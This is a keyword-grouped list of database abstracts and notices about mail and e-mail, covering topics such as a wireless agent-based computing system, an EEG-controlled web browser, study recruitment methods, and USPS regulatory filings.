Deployment of distributed applications in the wireless domain lack equivalent tools, methodologies, architectures, and network management that exist in LAN based applications. A wireless distributed computing environment (KeyWareTM) based on intelligent agents within a multiple client multiple server scheme was developed to resolve this problem. KeyWare renders concurrent application services to wireline and wireless client nodes encapsulated in multiple paradigms such as message delivery, database access, e-mail, and file transfer. These services and paradigms are optimized to cope with temporal and spatial radio coverage, high latency, limited throughput and transmission costs. A unified network management paradigm for both wireless and wireline facilitates seamless extensions of LAN- based management tools to include wireless nodes. A set of object oriented tools and methodologies enables direct asynchronous invocation of agent-based services supplemented by tool-sets matched to supported KeyWare paradigms. The open architecture embodiment of KeyWare enables a wide selection of client node computing platforms, operating systems, transport protocols, radio modems and infrastructures while maintaining application portability.

Nessi: An EEG-Controlled Web Browser for Severely Paralyzed Patients

PubMed Central

Bensch, Michael; Karim, Ahmed A.; Mellinger, Jürgen; Hinterberger, Thilo; Tangermann, Michael; Bogdan, Martin; Rosenstiel, Wolfgang; Birbaumer, Niels

2007-01-01

We have previously demonstrated that an EEG-controlled web browser based on self-regulation of slow cortical potentials (SCPs) enables severely paralyzed patients to browse the internet independently of any voluntary muscle control. However, this system had several shortcomings, among them that patients could only browse within a limited number of web pages and had to select links from an alphabetical list, causing problems if the link names were identical or if they were unknown to the user (as in graphical links). Here we describe a new EEG-controlled web browser, called Nessi, which overcomes these shortcomings. In Nessi, the open source browser, Mozilla, was extended by graphical in-place markers, whereby different brain responses correspond to different frame colors placed around selectable items, enabling the user to select any link on a web page. Besides links, other interactive elements are accessible to the user, such as e-mail and virtual keyboards, opening up a wide range of hypertext-based applications. PMID:18350132

Recruitment strategies at the Iowa site for parent/infant pairs in a longitudinal dental caries study.

PubMed

Daly, Jeanette M; Levy, Barcey T; Xu, Yinghui; Levy, Steven M; Fontana, Margherita

2016-06-01

Recruitment of parent/infant pairs can be more difficult and challenging than recruitment of adult subjects alone as the parent has to consider themselves along with the infant to be study participants. In order to determine which recruitment methods most effectively resulted in accrual of subjects, recruitment efforts at the University of Iowa were evaluated, one of three clinical sites involved in a longitudinal prospective study of dental caries. Enrollment goals were 300 parent/infant pairs within a year. Recruitment strategies included (1) a direct mailing to potential subjects who were University of Iowa Hospitals and Clinics patients and potentially met inclusion criteria; (2) face-to-face recruitment visits at medical offices; (3) provision of recruitment materials to staff at off-campus agencies and medical offices serving low-income individuals; (4) a campus-wide mass e-mail; (5) recruitment materials to daycare centers and neighborhood centers; and (6) recruitment at a children's museum. From these recruitment efforts, 515 potential participants expressed interest and were screened for this study and 348 (68%) were enrolled during an 11-month time period. The face-to-face strategy had the highest recruitment rate of 25%, followed by direct individual mailings at 9% and follow-up telephone calls at 7%. For the face-to-face strategy, the contact at the children's museum was most successful compared to the other office settings. The lowest rate of recruitment of 0.09% was attained with the mass e-mail. However, in terms of actual numbers recruited, the mass e-mail remained an important modality since it yielded 21 recruits and was much less time-intensive. An intensive, multi-pronged recruitment strategy proved successful in meeting enrollment goals and resulted in finishing the enrollment prior to the projected study deadline. Effective recruitment approaches are imperative for a study's success and each recruitment strategy needs to be budgeted and planned for in a study. Investigators may need to adapt their approach to attain the needed number of subjects. Planning needs to include the numbers needed to be approached to attain your recruitment goal, how you will recruit, who will be responsible, and the costs and time commitment for various strategies. © The Author(s) 2016.

75 FR 10529 - Mail Classification Change

Federal Register 2010, 2011, 2012, 2013, 2014

2010-03-08

... POSTAL REGULATORY COMMISSION [Docket Nos. MC2010-19; Order No. 415] Mail Classification Change...-filed Postal Service request to make a minor modification to the Mail Classification Schedule. The.... concerning a change in classification which reflects a change in terminology from Bulk Mailing Center (BMC...

76 FR 23749 - Intelligent Mail Package Barcode (IMpb) Implementation for Commercial Parcels

Federal Register 2010, 2011, 2012, 2013, 2014

2011-04-28

...The Postal Service is proposing to revise Mailing Standards of the United States Postal Service, Domestic Mail Manual (DMM[supreg]) to require the use of a unique tracking barcode on all commercial parcels, except Standard Mail[supreg] parcels, claiming presort and destination entry pricing by January 2012; and to encourage use of unique tracking barcodes by providing free Delivery Confirmation[supreg] service on all commercial parcels except Standard Mail parcels.

Characterizing Resilience and Growth Among Soldiers: A Trajectory Study

DTIC Science & Technology

2014-04-01

0120 5c. PROGRAM ELEMENT NUMBER 6. AUTHOR(S) 5d. PROJECT NUMBER Nansook Park 5e. TASK NUMBER e -mail: nspak@umich.edu 5f. WORK UNIT NUMBER 7...tried all available methods to reach potential participants including e -mail, regular mail, phone and social media like Facebook. We were able to...utilize all possible ways of contacting participants including e -mail, regular mail, phone calls, and social media (e.g., Facebook). Furthermore

78 FR 63433 - International Mailing Services: Proposed Price Changes-CPI

Federal Register 2010, 2011, 2012, 2013, 2014

2013-10-24

... POSTAL SERVICE 39 CFR Part 20 International Mailing Services: Proposed Price Changes--CPI AGENCY... mailing services price adjustments with the Postal Regulatory Commission (PRC), effective on January 26... Postal Service, International Mail Manual (IMM[supreg]) to reflect these new price changes. DATES: We...

78 FR 63434 - International Mailing Services: Proposed Price Changes-Exigent

Federal Register 2010, 2011, 2012, 2013, 2014

2013-10-24

... POSTAL SERVICE 39 CFR Part 20 International Mailing Services: Proposed Price Changes--Exigent... notice of mailing services price adjustments with the Postal Regulatory Commission (PRC), effective on... United States Postal Service, International Mail Manual (IMM[supreg]) to reflect these new price changes...

76 FR 46853 - International Business Machines Corporation, ITD Business Unit, Division 7, E-mail and...

Federal Register 2010, 2011, 2012, 2013, 2014

2011-08-03

...] International Business Machines Corporation, ITD Business Unit, Division 7, E-mail and Collaboration Group... Business Machines Corporation (IBM), ITD Business Unit, Division 7, E- mail and Collaboration Group... Business Unit, Division 7, E-mail and Collaboration [[Page 46854